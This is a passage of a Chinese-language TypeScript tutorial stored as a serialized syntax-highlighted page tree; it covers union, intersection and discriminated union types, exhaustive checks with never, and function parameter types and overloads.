[",[331,98632,8230],{"class":2472},[331,98634,1180],{"class":616},[331,98636,96819],{"class":344},[331,98638,93886],{"class":337},[331,98640,1180],{"class":616},[331,98642,96507],{"class":344},[331,98644,9413],{"class":337},[331,98646,98647,98649,98652,98654,98656,98658,98661,98663,98666,98668],{"class":333,"line":341},[331,98648,951],{"class":616},[331,98650,98651],{"class":344}," map",[331,98653,1180],{"class":616},[331,98655,98627],{"class":501},[331,98657,957],{"class":616},[331,98659,98660],{"class":337}," { a: ",[331,98662,7993],{"class":344},[331,98664,98665],{"class":337},", b: ",[331,98667,9292],{"class":344},[331,98669,9413],{"class":337},[331,98671,98672,98675,98677,98679],{"class":333,"line":357},[331,98673,98674],{"class":337},"map.c ",[331,98676,518],{"class":616},[331,98678,59421],{"class":344},[331,98680,98681],{"class":1003},"        \u002F\u002F 合法：任意字符串键 → number\n",[331,98683,98684,98687,98689,98692],{"class":333,"line":371},[331,98685,98686],{"class":337},"map.d ",[331,98688,518],{"class":616},[331,98690,98691],{"class":365}," 'x'",[331,98693,98694],{"class":1003},"      \u002F\u002F ✗ 值必须是 number\n",[331,98696,98697],{"class":333,"line":384},[331,98698,998],{"emptyLinePlaceholder":997},[331,98700,98701],{"class":333,"line":397},[331,98702,98703],{"class":1003},"\u002F\u002F 数字索引：数组本质上就是 { [index: number]: T } 的特例\n",[11,98705,98706,98707,98710],{},"数字键的索引签名比字符串键更严格：",[22,98708,98709],{},"[key: number]: T"," 只约束数字下标访问。",[53,98712,98713],{"id":98713},"函数类型与可调用对象混合",[11,98715,98716],{},"一个东西既能被调用、又带属性，用「调用签名 + 属性」混合写法：",[308,98718,98720],{"className":5205,"code":98719,"language":5207,"meta":314,"style":314},"interface Counter {\n  (start: number): string     \u002F\u002F 调用签名：它是个函数\n  interval: number            \u002F\u002F 同时又带属性\n  reset(): void\n}\nfunction getCounter(): Counter {\n  const c = ((start: number) => String(start)) as Counter\n  c.interval = 10\n  c.reset = () => {}\n  return c\n}\n",[22,98721,98722,98730,98749,98761,98773,98777,98792,98823,98832,98848,98855],{"__ignoreMap":314},[331,98723,98724,98726,98728],{"class":333,"line":334},[331,98725,96572],{"class":616},[331,98727,68166],{"class":501},[331,98729,1100],{"class":337},[331,98731,98732,98734,98736,98738,98740,98742,98744,98746],{"class":333,"line":341},[331,98733,31188],{"class":337},[331,98735,46475],{"class":2472},[331,98737,1180],{"class":616},[331,98739,96507],{"class":344},[331,98741,1351],{"class":337},[331,98743,1180],{"class":616},[331,98745,96819],{"class":344},[331,98747,98748],{"class":1003},"     \u002F\u002F 调用签名：它是个函数\n",[331,98750,98751,98754,98756,98758],{"class":333,"line":357},[331,98752,98753],{"class":2472},"  interval",[331,98755,1180],{"class":616},[331,98757,96507],{"class":344},[331,98759,98760],{"class":1003},"            \u002F\u002F 同时又带属性\n",[331,98762,98763,98766,98768,98770],{"class":333,"line":371},[331,98764,98765],{"class":501},"  reset",[331,98767,68453],{"class":337},[331,98769,1180],{"class":616},[331,98771,98772],{"class":344}," void\n",[331,98774,98775],{"class":333,"line":384},[331,98776,459],{"class":337},[331,98778,98779,98781,98784,98786,98788,98790],{"class":333,"line":397},[331,98780,3047],{"class":616},[331,98782,98783],{"class":501}," getCounter",[331,98785,68453],{"class":337},[331,98787,1180],{"class":616},[331,98789,68166],{"class":501},[331,98791,1100],{"class":337},[331,98793,98794,98796,98798,98800,98803,98805,98807,98809,98811,98813,98815,98818,98820],{"class":333,"line":418},[331,98795,1496],{"class":616},[331,98797,67556],{"class":344},[331,98799,957],{"class":616},[331,98801,98802],{"class":337}," ((",[331,98804,46475],{"class":2472},[331,98806,1180],{"class":616},[331,98808,96507],{"class":344},[331,98810,3180],{"class":337},[331,98812,1489],{"class":616},[331,98814,1344],{"class":501},[331,98816,98817],{"class":337},"(start)) ",[331,98819,73430],{"class":616},[331,98821,98822],{"class":501}," Counter\n",[331,98824,98825,98828,98830],{"class":333,"line":427},[331,98826,98827],{"class":337},"  c.interval ",[331,98829,518],{"class":616},[331,98831,73378],{"class":344},[331,98833,98834,98837,98839,98841,98843,98845],{"class":333,"line":439},[331,98835,98836],{"class":337},"  c.",[331,98838,29236],{"class":501},[331,98840,957],{"class":616},[331,98842,7268],{"class":337},[331,98844,1489],{"class":616},[331,98846,98847],{"class":337}," {}\n",[331,98849,98850,98852],{"class":333,"line":450},[331,98851,1633],{"class":616},[331,98853,98854],{"class":337}," c\n",[331,98856,98857],{"class":333,"line":456},[331,98858,459],{"class":337},[11,98860,98861,98862,98865],{},"这类写法在描述「函数上挂了些元信息」的库 API 时很常见。函数本身的类型还可以直接写成 ",[22,98863,98864],{},"type Fn = (a: number) => number","，第六章细讲函数类型。",[48,98867,98869],{"id":98868},"五联合类型交叉类型与可辨识联合","五、联合类型、交叉类型与可辨识联合",[11,98871,98872,98873,98876],{},"联合和交叉是 TS 类型系统里最像「代数运算」的两个东西：",[17,98874,98875],{},"联合是「或」，交叉是「且」","。掌握它们，尤其是联合的收窄玩法，是从「会用 TS」到「用得好 TS」的分水岭。",[53,98878,98880,98881,98884],{"id":98879},"联合类型-a-b值要么是-a-要么是-b","联合类型 ",[22,98882,98883],{},"A | B","：值要么是 A 要么是 B",[308,98886,98888],{"className":5205,"code":98887,"language":5207,"meta":314,"style":314},"type ID = string | number\nfunction render(id: ID) {\n  id.toString()        \u002F\u002F ✓ string 和 number 都有 toString，取交集成员\n  id.length            \u002F\u002F ✗ number 上没有 length，联合里不能直接用某一分支独有的成员\n  id.toUpperCase()     \u002F\u002F ✗ 同理，未收窄前只能用「所有分支都保证」的成员\n}\n",[22,98889,98890,98905,98921,98934,98943,98954],{"__ignoreMap":314},[331,98891,98892,98894,98896,98898,98900,98902],{"class":333,"line":334},[331,98893,3628],{"class":616},[331,98895,98319],{"class":501},[331,98897,957],{"class":616},[331,98899,96819],{"class":344},[331,98901,15984],{"class":616},[331,98903,98904],{"class":344}," number\n",[331,98906,98907,98909,98911,98913,98915,98917,98919],{"class":333,"line":341},[331,98908,3047],{"class":616},[331,98910,73389],{"class":501},[331,98912,966],{"class":337},[331,98914,8521],{"class":2472},[331,98916,1180],{"class":616},[331,98918,98319],{"class":501},[331,98920,2476],{"class":337},[331,98922,98923,98926,98929,98931],{"class":333,"line":357},[331,98924,98925],{"class":337},"  id.",[331,98927,98928],{"class":501},"toString",[331,98930,97761],{"class":337},[331,98932,98933],{"class":1003},"\u002F\u002F ✓ string 和 number 都有 toString，取交集成员\n",[331,98935,98936,98938,98940],{"class":333,"line":371},[331,98937,98925],{"class":337},[331,98939,10192],{"class":344},[331,98941,98942],{"class":1003},"            \u002F\u002F ✗ number 上没有 length，联合里不能直接用某一分支独有的成员\n",[331,98944,98945,98947,98949,98951],{"class":333,"line":384},[331,98946,98925],{"class":337},[331,98948,65555],{"class":501},[331,98950,32099],{"class":337},[331,98952,98953],{"class":1003},"\u002F\u002F ✗ 同理，未收窄前只能用「所有分支都保证」的成员\n",[331,98955,98956],{"class":333,"line":397},[331,98957,459],{"class":337},[11,98959,98960,98961,98964,98965,98968],{},"联合类型在",[17,98962,98963],{},"没收窄之前","，只允许访问所有分支",[17,98966,98967],{},"共有","的成员（是各分支成员的交集）。要访问某一分支独有的，得先把它收窄成那个分支——第七章会系统讲收窄，这里先看联合的基本脾气。",[11,98970,98971,98972,272,98975,98978,98979,98982],{},"给联合赋值时反过来：任何一支的值都能赋进去，",[22,98973,98974],{},"id = 'a'",[22,98976,98977],{},"id = 1"," 都合法；但从联合",[17,98980,98981],{},"取用","时受限。这就是它的核心张力。",[53,98984,98986,98987,98990],{"id":98985},"交叉类型-a-b同时满足两边","交叉类型 ",[22,98988,98989],{},"A & B","：同时满足两边",[308,98992,98994],{"className":5205,"code":98993,"language":5207,"meta":314,"style":314},"type HasName = { name: string }\ntype HasAge = { age: number }\ntype Person = HasName & HasAge     \u002F\u002F { name: string; age: number }\nconst p: Person = { name: '阿蓝', age: 18 }\n",[22,98995,98996,99015,99034,99052],{"__ignoreMap":314},[331,98997,98998,99000,99003,99005,99007,99009,99011,99013],{"class":333,"line":334},[331,98999,3628],{"class":616},[331,99001,99002],{"class":501}," HasName",[331,99004,957],{"class":616},[331,99006,605],{"class":337},[331,99008,1900],{"class":2472},[331,99010,1180],{"class":616},[331,99012,96819],{"class":344},[331,99014,9413],{"class":337},[331,99016,99017,99019,99022,99024,99026,99028,99030,99032],{"class":333,"line":341},[331,99018,3628],{"class":616},[331,99020,99021],{"class":501}," HasAge",[331,99023,957],{"class":616},[331,99025,605],{"class":337},[331,99027,67295],{"class":2472},[331,99029,1180],{"class":616},[331,99031,96507],{"class":344},[331,99033,9413],{"class":337},[331,99035,99036,99038,99041,99043,99045,99047,99049],{"class":333,"line":357},[331,99037,3628],{"class":616},[331,99039,99040],{"class":501}," Person",[331,99042,957],{"class":616},[331,99044,99002],{"class":501},[331,99046,82282],{"class":616},[331,99048,99021],{"class":501},[331,99050,99051],{"class":1003},"     \u002F\u002F { name: string; age: number }\n",[331,99053,99054,99056,99058,99060,99062,99064,99066,99068,99070,99072],{"class":333,"line":371},[331,99055,951],{"class":616},[331,99057,98133],{"class":344},[331,99059,1180],{"class":616},[331,99061,99040],{"class":501},[331,99063,957],{"class":616},[331,99065,32312],{"class":337},[331,99067,20599],{"class":365},[331,99069,23135],{"class":337},[331,99071,85028],{"class":344},[331,99073,9413],{"class":337},[11,99075,99076,99077,99079,99080,99082,99083,99085],{},"交叉是把多个形状「叠加」成一个更具体的形状，字段全都要满足。接口之间用 ",[22,99078,98241],{},"、type 之间用 ",[22,99081,55024],{},"，效果对对象而言基本一致。当两支有同名不同类型字段时会得到 ",[22,99084,55488],{},"，这也是「类型层面的空集」的一个来源。",[4748,99087],{"height":42104,"src":99088,"title":99089},"\u002Ftutorials\u002Fts\u002Fdemos\u002F05-union-discriminated.html","示例 05：联合、交叉与可辨识联合的穷尽检查",[53,99091,99093],{"id":99092},"可辨识联合ts-里最好用的模式","可辨识联合：TS 里最好用的模式",[11,99095,99096,99097,99100,99101,99104],{},"如果联合的每一支都带一个",[17,99098,99099],{},"字面量类型的「标签」字段","，TS 就能凭这个标签把分支自动区分开——这叫 ",[17,99102,99103],{},"discriminated union","，是整个 TS 里最被推崇的建模手法：",[308,99106,99108],{"className":5205,"code":99107,"language":5207,"meta":314,"style":314},"type Shape =\n  | { kind: 'circle'; r: number }\n  | { kind: 'rect'; w: number; h: number }\n  | { kind: 'triangle'; base: number; height: number }\n\nfunction area(s: Shape): number {\n  switch (s.kind) {\n    case 'circle':   return Math.PI * s.r ** 2          \u002F\u002F 这支里 s 收窄成 circle\n    case 'rect':     return s.w * s.h                   \u002F\u002F 只能访问 w\u002Fh\n    case 'triangle': return (s.base * s.height) \u002F 2     \u002F\u002F 只能访问 base\u002Fheight\n  }\n}\n",[22,99109,99110,99120,99144,99176,99208,99212,99235,99243,99273,99295,99320,99324],{"__ignoreMap":314},[331,99111,99112,99114,99117],{"class":333,"line":334},[331,99113,3628],{"class":616},[331,99115,99116],{"class":501}," Shape",[331,99118,99119],{"class":616}," =\n",[331,99121,99122,99124,99126,99129,99131,99134,99136,99138,99140,99142],{"class":333,"line":341},[331,99123,53147],{"class":616},[331,99125,605],{"class":337},[331,99127,99128],{"class":2472},"kind",[331,99130,1180],{"class":616},[331,99132,99133],{"class":365}," 'circle'",[331,99135,620],{"class":337},[331,99137,66333],{"class":2472},[331,99139,1180],{"class":616},[331,99141,96507],{"class":344},[331,99143,9413],{"class":337},[331,99145,99146,99148,99150,99152,99154,99157,99159,99161,99163,99165,99167,99170,99172,99174],{"class":333,"line":357},[331,99147,53147],{"class":616},[331,99149,605],{"class":337},[331,99151,99128],{"class":2472},[331,99153,1180],{"class":616},[331,99155,99156],{"class":365}," 'rect'",[331,99158,620],{"class":337},[331,99160,78157],{"class":2472},[331,99162,1180],{"class":616},[331,99164,96507],{"class":344},[331,99166,620],{"class":337},[331,99168,99169],{"class":2472},"h",[331,99171,1180],{"class":616},[331,99173,96507],{"class":344},[331,99175,9413],{"class":337},[331,99177,99178,99180,99182,99184,99186,99189,99191,99193,99195,99197,99199,99202,99204,99206],{"class":333,"line":371},[331,99179,53147],{"class":616},[331,99181,605],{"class":337},[331,99183,99128],{"class":2472},[331,99185,1180],{"class":616},[331,99187,99188],{"class":365}," 'triangle'",[331,99190,620],{"class":337},[331,99192,15338],{"class":2472},[331,99194,1180],{"class":616},[331,99196,96507],{"class":344},[331,99198,620],{"class":337},[331,99200,99201],{"class":2472},"height",[331,99203,1180],{"class":616},[331,99205,96507],{"class":344},[331,99207,9413],{"class":337},[331,99209,99210],{"class":333,"line":384},[331,99211,998],{"emptyLinePlaceholder":997},[331,99213,99214,99216,99219,99221,99223,99225,99227,99229,99231,99233],{"class":333,"line":397},[331,99215,3047],{"class":616},[331,99217,99218],{"class":501}," area",[331,99220,966],{"class":337},[331,99222,21542],{"class":2472},[331,99224,1180],{"class":616},[331,99226,99116],{"class":501},[331,99228,1351],{"class":337},[331,99230,1180],{"class":616},[331,99232,96507],{"class":344},[331,99234,1100],{"class":337},[331,99236,99237,99240],{"class":333,"line":418},[331,99238,99239],{"class":616},"  switch",[331,99241,99242],{"class":337}," (s.kind) {\n",[331,99244,99245,99248,99250,99253,99255,99257,99260,99262,99265,99268,99270],{"class":333,"line":427},[331,99246,99247],{"class":616},"    case",[331,99249,99133],{"class":365},[331,99251,99252],{"class":337},":   ",[331,99254,10859],{"class":616},[331,99256,73849],{"class":337},[331,99258,99259],{"class":344},"PI",[331,99261,1045],{"class":616},[331,99263,99264],{"class":337}," s.r ",[331,99266,99267],{"class":616},"**",[331,99269,18023],{"class":344},[331,99271,99272],{"class":1003},"          \u002F\u002F 这支里 s 收窄成 circle\n",[331,99274,99275,99277,99279,99282,99284,99287,99289,99292],{"class":333,"line":439},[331,99276,99247],{"class":616},[331,99278,99156],{"class":365},[331,99280,99281],{"class":337},":     ",[331,99283,10859],{"class":616},[331,99285,99286],{"class":337}," s.w ",[331,99288,18020],{"class":616},[331,99290,99291],{"class":337}," s.h                   ",[331,99293,99294],{"class":1003},"\u002F\u002F 只能访问 w\u002Fh\n",[331,99296,99297,99299,99301,99303,99305,99308,99310,99313,99315,99317],{"class":333,"line":450},[331,99298,99247],{"class":616},[331,99300,99188],{"class":365},[331,99302,348],{"class":337},[331,99304,10859],{"class":616},[331,99306,99307],{"class":337}," (s.base ",[331,99309,18020],{"class":616},[331,99311,99312],{"class":337}," s.height) ",[331,99314,655],{"class":616},[331,99316,18023],{"class":344},[331,99318,99319],{"class":1003},"     \u002F\u002F 只能访问 base\u002Fheight\n",[331,99321,99322],{"class":333,"line":456},[331,99323,453],{"class":337},[331,99325,99326],{"class":333,"line":775},[331,99327,459],{"class":337},[11,99329,99330,99331,99333,99334,56421,99337,99339,99340,99343,99344,99346,99347,99349,99350,272,99353,99356,99357,99364,99365,99367],{},"关键在于 ",[22,99332,99128],{}," 是字面量类型（",[22,99335,99336],{},"'circle'",[22,99338,62866],{},"）。在 ",[22,99341,99342],{},"switch (s.kind)"," 的每个 ",[22,99345,92713],{}," 里，",[22,99348,21542],{}," 会自动收窄到对应那一支，于是 ",[22,99351,99352],{},"s.r",[22,99354,99355],{},"s.w"," 这些专属字段都变得类型安全，不需要任何断言。",[17,99358,99359,99360,99363],{},"没有标签字段（",[22,99361,99362],{},"kind: string","）这一整套就全塌了","——这就是第九章「把值当类型用」和第二章 ",[22,99366,951],{}," 窄化真正兑现价值的地方。",[53,99369,99371,99372,99374],{"id":99370},"穷尽检查用-never-兜底","穷尽检查：用 ",[22,99373,55488],{}," 兜底",[11,99376,99377,99378,99381,99382,99385,99386,99389,99390,99392,99393,99395],{},"上面的 ",[22,99379,99380],{},"area"," 还差一步：万一以后给 ",[22,99383,99384],{},"Shape"," 加了 ",[22,99387,99388],{},"case 'polygon'"," 却忘了在 ",[22,99391,63817],{}," 里处理怎么办？用 ",[22,99394,55488],{}," 兜底：",[308,99397,99399],{"className":5205,"code":99398,"language":5207,"meta":314,"style":314},"function area(s: Shape): number {\n  switch (s.kind) {\n    case 'circle': return Math.PI * s.r ** 2\n    case 'rect': return s.w * s.h\n    case 'triangle': return (s.base * s.height) \u002F 2\n    default:\n      const _exhaustive: never = s   \u002F\u002F 若上面没覆盖全，s 还有剩余类型，赋给 never 就报错\n      return _exhaustive\n  }\n}\n",[22,99400,99401,99423,99429,99451,99468,99488,99495,99514,99521,99525],{"__ignoreMap":314},[331,99402,99403,99405,99407,99409,99411,99413,99415,99417,99419,99421],{"class":333,"line":334},[331,99404,3047],{"class":616},[331,99406,99218],{"class":501},[331,99408,966],{"class":337},[331,99410,21542],{"class":2472},[331,99412,1180],{"class":616},[331,99414,99116],{"class":501},[331,99416,1351],{"class":337},[331,99418,1180],{"class":616},[331,99420,96507],{"class":344},[331,99422,1100],{"class":337},[331,99424,99425,99427],{"class":333,"line":341},[331,99426,99239],{"class":616},[331,99428,99242],{"class":337},[331,99430,99431,99433,99435,99437,99439,99441,99443,99445,99447,99449],{"class":333,"line":357},[331,99432,99247],{"class":616},[331,99434,99133],{"class":365},[331,99436,348],{"class":337},[331,99438,10859],{"class":616},[331,99440,73849],{"class":337},[331,99442,99259],{"class":344},[331,99444,1045],{"class":616},[331,99446,99264],{"class":337},[331,99448,99267],{"class":616},[331,99450,63044],{"class":344},[331,99452,99453,99455,99457,99459,99461,99463,99465],{"class":333,"line":371},[331,99454,99247],{"class":616},[331,99456,99156],{"class":365},[331,99458,348],{"class":337},[331,99460,10859],{"class":616},[331,99462,99286],{"class":337},[331,99464,18020],{"class":616},[331,99466,99467],{"class":337}," s.h\n",[331,99469,99470,99472,99474,99476,99478,99480,99482,99484,99486],{"class":333,"line":384},[331,99471,99247],{"class":616},[331,99473,99188],{"class":365},[331,99475,348],{"class":337},[331,99477,10859],{"class":616},[331,99479,99307],{"class":337},[331,99481,18020],{"class":616},[331,99483,99312],{"class":337},[331,99485,655],{"class":616},[331,99487,63044],{"class":344},[331,99489,99490,99493],{"class":333,"line":397},[331,99491,99492],{"class":616},"    default",[331,99494,53423],{"class":337},[331,99496,99497,99499,99502,99504,99506,99508,99511],{"class":333,"line":418},[331,99498,12340],{"class":616},[331,99500,99501],{"class":344}," _exhaustive",[331,99503,1180],{"class":616},[331,99505,97864],{"class":344},[331,99507,957],{"class":616},[331,99509,99510],{"class":337}," s   ",[331,99512,99513],{"class":1003},"\u002F\u002F 若上面没覆盖全，s 还有剩余类型，赋给 never 就报错\n",[331,99515,99516,99518],{"class":333,"line":427},[331,99517,12364],{"class":616},[331,99519,99520],{"class":337}," _exhaustive\n",[331,99522,99523],{"class":333,"line":439},[331,99524,453],{"class":337},[331,99526,99527],{"class":333,"line":450},[331,99528,459],{"class":337},[11,99530,99531,99532,12247,99534,99536,99537,99539,99540,99542,99543,99552,99553,99555],{},"处理完全部分支后，",[22,99533,5854],{},[22,99535,21542],{}," 类型应当是 ",[22,99538,55488],{},"（所有可能都被 case 吃掉了），赋给一个 ",[22,99541,55488],{}," 变量正好成立。",[17,99544,99545,99546,99548,99549,99551],{},"一旦你漏了某一支，",[22,99547,21542],{}," 就不是 ",[22,99550,55488],{}," 而是那个没处理的具体分支类型，赋值报错","——你等于给编译器留了个哨兵，专门盯着「未来加了新分支但你忘了改这里」。业务里凡是 switch 一个可辨识联合，都建议加上这条 ",[22,99554,55488],{}," 兜底。",[48,99557,99559,99560],{"id":99558},"六函数类型参数可选剩余重载与-this","六、函数类型：参数、可选、剩余、重载与 ",[22,99561,18040],{},[11,99563,99564,99565,5160,99567,99569],{},"函数是 TS 里类型信息最密集的地方，也是注解写得最多的一处。JS 教程第六章讲过 JS 函数的行为（默认值、剩余参数、闭包捕获），这里不重复那些运行时语义，只讲类型怎么描述它们，以及几个 TS 特有的点：重载签名、",[22,99566,97954],{},[22,99568,5872],{}," 作为返回类型的差别。",[53,99571,99572],{"id":99572},"可选参数与默认值",[11,99574,99575,99576,99578,99579,99581],{},"参数上加 ",[22,99577,1177],{}," 表示可省略，它的类型随即变成 ",[22,99580,98403],{},"；给了默认值的参数自动是可选的，而且类型从默认值推断，通常不用再标：",[308,99583,99585],{"className":5205,"code":99584,"language":5207,"meta":314,"style":314},"function greet(name: string, title?: string) {\n  \u002F\u002F title: string | undefined\n  return title ? `${title} ${name}` : name\n}\nfunction greet2(name: string, title = '先生') {   \u002F\u002F title 推断为 string，且可选\n  return `${title} ${name}`\n}\n",[22,99586,99587,99611,99616,99640,99644,99673,99687],{"__ignoreMap":314},[331,99588,99589,99591,99593,99595,99597,99599,99601,99603,99605,99607,99609],{"class":333,"line":334},[331,99590,3047],{"class":616},[331,99592,64403],{"class":501},[331,99594,966],{"class":337},[331,99596,1900],{"class":2472},[331,99598,1180],{"class":616},[331,99600,96819],{"class":344},[331,99602,409],{"class":337},[331,99604,581],{"class":2472},[331,99606,98429],{"class":616},[331,99608,96819],{"class":344},[331,99610,2476],{"class":337},[331,99612,99613],{"class":333,"line":341},[331,99614,99615],{"class":1003},"  \u002F\u002F title: string | undefined\n",[331,99617,99618,99620,99623,99625,99627,99629,99632,99634,99636,99638],{"class":333,"line":357},[331,99619,1633],{"class":616},[331,99621,99622],{"class":337}," title ",[331,99624,1177],{"class":616},[331,99626,66848],{"class":365},[331,99628,581],{"class":337},[331,99630,99631],{"class":365},"} ${",[331,99633,1900],{"class":337},[331,99635,8524],{"class":365},[331,99637,2636],{"class":616},[331,99639,68305],{"class":337},[331,99641,99642],{"class":333,"line":371},[331,99643,459],{"class":337},[331,99645,99646,99648,99651,99653,99655,99657,99659,99661,99663,99665,99668,99670],{"class":333,"line":384},[331,99647,3047],{"class":616},[331,99649,99650],{"class":501}," greet2",[331,99652,966],{"class":337},[331,99654,1900],{"class":2472},[331,99656,1180],{"class":616},[331,99658,96819],{"class":344},[331,99660,409],{"class":337},[331,99662,581],{"class":2472},[331,99664,957],{"class":616},[331,99666,99667],{"class":365}," '先生'",[331,99669,96922],{"class":337},[331,99671,99672],{"class":1003},"\u002F\u002F title 推断为 string，且可选\n",[331,99674,99675,99677,99679,99681,99683,99685],{"class":333,"line":397},[331,99676,1633],{"class":616},[331,99678,66848],{"class":365},[331,99680,581],{"class":337},[331,99682,99631],{"class":365},[331,99684,1900],{"class":337},[331,99686,1354],{"class":365},[331,99688,99689],{"class":333,"line":418},[331,99690,459],{"class":337},[11,99692,99693,99694,99697],{},"注意一个顺序规则：",[17,99695,99696],{},"可选参数和带默认值的参数要排在必选参数后面","，否则调用时没法靠位置区分。",[53,99699,64495],{"id":64495},[11,99701,99702],{},"剩余参数在类型上写成一个数组类型，泛型写法更常见：",[308,99704,99706],{"className":5205,"code":99705,"language":5207,"meta":314,"style":314},"function sum(...nums: number[]): number {\n  return nums.reduce((a, b) => a + b, 0)\n}\nfunction join(sep: string, ...parts: string[]) { \u002F* parts: string[] *\u002F }\n",[22,99707,99708,99735,99767,99771],{"__ignoreMap":314},[331,99709,99710,99712,99715,99717,99719,99722,99724,99726,99729,99731,99733],{"class":333,"line":334},[331,99711,3047],{"class":616},[331,99713,99714],{"class":501}," sum",[331,99716,966],{"class":337},[331,99718,9211],{"class":616},[331,99720,99721],{"class":2472},"nums",[331,99723,1180],{"class":616},[331,99725,96507],{"class":344},[331,99727,99728],{"class":337},"[])",[331,99730,1180],{"class":616},[331,99732,96507],{"class":344},[331,99734,1100],{"class":337},[331,99736,99737,99739,99742,99744,99746,99748,99750,99752,99754,99756,99758,99760,99763,99765],{"class":333,"line":341},[331,99738,1633],{"class":616},[331,99740,99741],{"class":337}," nums.",[331,99743,21537],{"class":501},[331,99745,3175],{"class":337},[331,99747,30],{"class":2472},[331,99749,409],{"class":337},[331,99751,22158],{"class":2472},[331,99753,3180],{"class":337},[331,99755,1489],{"class":616},[331,99757,31001],{"class":337},[331,99759,12714],{"class":616},[331,99761,99762],{"class":337}," b, ",[331,99764,628],{"class":344},[331,99766,972],{"class":337},[331,99768,99769],{"class":333,"line":357},[331,99770,459],{"class":337},[331,99772,99773,99775,99778,99780,99783,99785,99787,99789,99791,99794,99796,99798,99801,99804],{"class":333,"line":371},[331,99774,3047],{"class":616},[331,99776,99777],{"class":501}," join",[331,99779,966],{"class":337},[331,99781,99782],{"class":2472},"sep",[331,99784,1180],{"class":616},[331,99786,96819],{"class":344},[331,99788,409],{"class":337},[331,99790,9211],{"class":616},[331,99792,99793],{"class":2472},"parts",[331,99795,1180],{"class":616},[331,99797,96819],{"class":344},[331,99799,99800],{"class":337},"[]) { ",[331,99802,99803],{"class":1003},"\u002F* parts: string[] *\u002F",[331,99805,9413],{"class":337},[11,99807,99808,99809,161],{},"元组也能描述「固定前缀 + 可变后缀」的签名：",[22,99810,99811],{},"(...args: [string, ...number[]]) => void",[53,99813,99814],{"id":99814},"函数类型表达式",[11,99816,99817,99818,322],{},"函数本身可以当成一个类型来命名和传递，用 ",[22,99819,99820],{},"(参数: 类型) => 返回",[308,99822,99824],{"className":5205,"code":99823,"language":5207,"meta":314,"style":314},"type Comparator = (a: string, b: string) => number\nfunction sortBy(arr: string[], cmp: Comparator) { \u002F* ... *\u002F }\n\nconst byLen: Comparator = (a, b) => a.length - b.length   \u002F\u002F cmp 的类型已知，a\u002Fb 自动推断\n",[22,99825,99826,99857,99889,99893],{"__ignoreMap":314},[331,99827,99828,99830,99833,99835,99837,99839,99841,99843,99845,99847,99849,99851,99853,99855],{"class":333,"line":334},[331,99829,3628],{"class":616},[331,99831,99832],{"class":501}," Comparator",[331,99834,957],{"class":616},[331,99836,1147],{"class":337},[331,99838,30],{"class":2472},[331,99840,1180],{"class":616},[331,99842,96819],{"class":344},[331,99844,409],{"class":337},[331,99846,22158],{"class":2472},[331,99848,1180],{"class":616},[331,99850,96819],{"class":344},[331,99852,3180],{"class":337},[331,99854,1489],{"class":616},[331,99856,98904],{"class":344},[331,99858,99859,99861,99864,99866,99869,99871,99873,99876,99879,99881,99883,99885,99887],{"class":333,"line":341},[331,99860,3047],{"class":616},[331,99862,99863],{"class":501}," sortBy",[331,99865,966],{"class":337},[331,99867,99868],{"class":2472},"arr",[331,99870,1180],{"class":616},[331,99872,96819],{"class":344},[331,99874,99875],{"class":337},"[], ",[331,99877,99878],{"class":2472},"cmp",[331,99880,1180],{"class":616},[331,99882,99832],{"class":501},[331,99884,31033],{"class":337},[331,99886,21851],{"class":1003},[331,99888,9413],{"class":337},[331,99890,99891],{"class":333,"line":357},[331,99892,998],{"emptyLinePlaceholder":997},[331,99894,99895,99897,99900,99902,99904,99906,99908,99910,99912,99914,99916,99918,99921,99923,99925,99928,99930],{"class":333,"line":371},[331,99896,951],{"class":616},[331,99898,99899],{"class":501}," byLen",[331,99901,1180],{"class":616},[331,99903,99832],{"class":501},[331,99905,957],{"class":616},[331,99907,1147],{"class":337},[331,99909,30],{"class":2472},[331,99911,409],{"class":337},[331,99913,22158],{"class":2472},[331,99915,3180],{"class":337},[331,99917,1489],{"class":616},[331,99919,99920],{"class":337}," a.",[331,99922,10192],{"class":344},[331,99924,63216],{"class":616},[331,99926,99927],{"class":337}," b.",[331,99929,10192],{"class":344},[331,99931,99932],{"class":1003},"   \u002F\u002F cmp 的类型已知，a\u002Fb 自动推断\n",[11,99934,99935,99936,99938,99939,99942],{},"把函数签名抽成 ",[22,99937,3628],{}," 别名，是回调型 API（",[22,99940,99941],{},"Array.prototype.map"," 的 callback、事件处理器）反复用到的写法，也让「传进去的函数长什么样」一目了然。",[4748,99944],{"height":40485,"src":99945,"title":99946},"\u002Ftutorials\u002Fts\u002Fdemos\u002F06-function-types.html","示例 06：函数类型——参数、返回与推断的边界",[53,99948,99950],{"id":99949},"重载多个签名-一个实现","重载：多个签名 + 一个实现",[11,99952,99953,99954,322],{},"当一个函数「传不同类型进去、返回不同类型出来」，用重载。语法是",[17,99955,99956],{},"先列多个对外签名，再写一个对内的实现签名",[308,99958,99960],{"className":5205,"code":99959,"language":5207,"meta":314,"style":314},"function pick(x: string): string\nfunction pick(x: number): number\nfunction pick(x: string | number): string | number {   \u002F\u002F 实现签名不对外暴露\n  return x\n}\npick('a')   \u002F\u002F 返回 string\npick(1)     \u002F\u002F 返回 number\n",[22,99961,99962,99984,100004,100037,100043,100047,100060],{"__ignoreMap":314},[331,99963,99964,99966,99969,99971,99973,99975,99977,99979,99981],{"class":333,"line":334},[331,99965,3047],{"class":616},[331,99967,99968],{"class":501}," pick",[331,99970,966],{"class":337},[331,99972,21547],{"class":2472},[331,99974,1180],{"class":616},[331,99976,96819],{"class":344},[331,99978,1351],{"class":337},[331,99980,1180],{"class":616},[331,99982,99983],{"class":344}," string\n",[331,99985,99986,99988,99990,99992,99994,99996,99998,100000,100002],{"class":333,"line":341},[331,99987,3047],{"class":616},[331,99989,99968],{"class":501},[331,99991,966],{"class":337},[331,99993,21547],{"class":2472},[331,99995,1180],{"class":616},[331,99997,96507],{"class":344},[331,99999,1351],{"class":337},[331,100001,1180],{"class":616},[331,100003,98904],{"class":344},[331,100005,100006,100008,100010,100012,100014,100016,100018,100020,100022,100024,100026,100028,100030,100032,100034],{"class":333,"line":357},[331,100007,3047],{"class":616},[331,100009,99968],{"class":501},[331,100011,966],{"class":337},[331,100013,21547],{"class":2472},[331,100015,1180],{"class":616},[331,100017,96819],{"class":344},[331,100019,15984],{"class":616},[331,100021,96507],{"class":344},[331,100023,1351],{"class":337},[331,100025,1180],{"class":616},[331,100027,96819],{"class":344},[331,100029,15984],{"class":616},[331,100031,96507],{"class":344},[331,100033,96790],{"class":337},[331,100035,100036],{"class":1003},"\u002F\u002F 